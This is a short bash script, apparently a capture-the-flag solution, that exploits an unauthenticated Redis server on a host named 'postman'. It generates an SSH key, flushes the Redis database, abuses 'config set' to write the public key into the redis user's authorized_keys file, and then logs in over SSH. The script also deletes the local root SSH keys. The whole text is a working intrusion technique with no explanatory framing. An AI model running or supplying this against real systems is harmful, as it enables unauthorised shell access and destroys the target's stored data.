Bash Script
#!/bin/bash

#remove existing ssh keys
rm /root/.ssh/id*

#generate new private key and echo a new line before and after the key
ssh-keygen -t rsa
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt

#redis-cli command part
redis-cli -h postman flushall
cat foo.txt | redis-cli -h postman -x set crackit
redis-cli -h postman config set dir /var/lib/redis/.ssh/
redis-cli -h postman config set dbfilename "authorized_keys"
redis-cli -h postman save
ssh -i /root/.ssh/id_rsa redis@postman